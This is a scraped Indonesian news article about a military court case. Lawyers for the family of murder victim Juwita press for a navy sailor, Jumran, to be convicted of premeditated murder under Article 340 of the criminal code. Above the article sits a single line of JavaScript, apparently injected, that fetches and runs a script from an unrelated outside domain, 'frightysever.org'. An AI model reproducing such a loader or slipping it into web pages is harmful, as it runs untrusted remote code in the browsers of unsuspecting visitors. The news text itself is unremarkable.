(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan


KANALKALIMANTAN.COM, BANJARBARU – Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL di Pengadilan Militer 1-06 Banjarmasin, Jumat (25/4/2025).

Tim kuasa hukum keluarga Juwita langsung berhadapan dengan Kepala Odmil III-15 Banjarmasin Letkol Chk Sunandi yang hadir saat pelimpahan berkas perkara.

Perwakilan kuasa hukum, C Oriza Sativa Tanau mengungkapkan bahwa akan ada 11 saksi yang diperiksa dalam persidangan beserta sebelah bukti surat dan 38 barang bukti.

Baca juga: Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

Oditurat Militer (Odmil), katanya, menjelaskan perubahan pasal yang didakwakan terhadap tersangka Kelasi I Bahari Jumran.

“Pasal 340 KUHP yang primernya, kemudian subsidernya pasal 338 KUHP. Ada sedikit berbeda dengan apa yang disampaikan sebelumnya, ketika di Pomal kepada Odmil kami mendengar 340 KUHP juncto 338 KUHP,” ungkap C Oriza Sativa Tanau saat diwawancarai, Jumat (25/4/2025).

Kendati demikian, tim kuasa hukum mewakili pihak keluarga Juwita mendorong kepada Odmil, persidangan, dan majelis hakim agar memvonis Jumran dengan murni pasal 340 KUHP.

Baca juga: Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

“Dalam beberapa kesempatanbaik dalam press konferensi sudah dinyatakan dengan jelas bahwa terbukti pembunuhan berencana. Kalau ini terbukti pembunuhan berencana, maka tidak ada 338, murni 340, seharusnya begitu,” jelas dia.

Pihak kuasa hukum mendorong agar pasal 340 KUHP tetap diprioritaskan dalam dakwaan atas Jumran. Sebab dalam stretching point pasal 340 KUHP adalah pembunuhan berencana.

Perwakilan kuasa hukum keluarga lainnya Hastati menjelaskan, karena ada unsur perencanaan dalam pembunuhan itu maka dipasang sebagai tuntutan adalah pasal primer 340 KUHP sebab ancaman hukuman lebih tinggi.

Baca juga: 9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

“Ada ancaman maksimal yaitu hukuman mati dan penjara seumur hidup minimal 20 tahun penjara. Beda dengan pasal 338 KUHP, kenapa dipasang sebagai subsider karena ancaman hukumannya lebih ringan,” ujar Hastati.

Pihaknya mengapresiasi perubahan formasi pasal dakwaan, yang secara struktur mekanisme tatanan serta urutan ancaman tertinggi baru dipasang subsider untuk ancaman terendah. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

3 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

15 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

15 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

18 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

24 jam ago

This website uses cookies.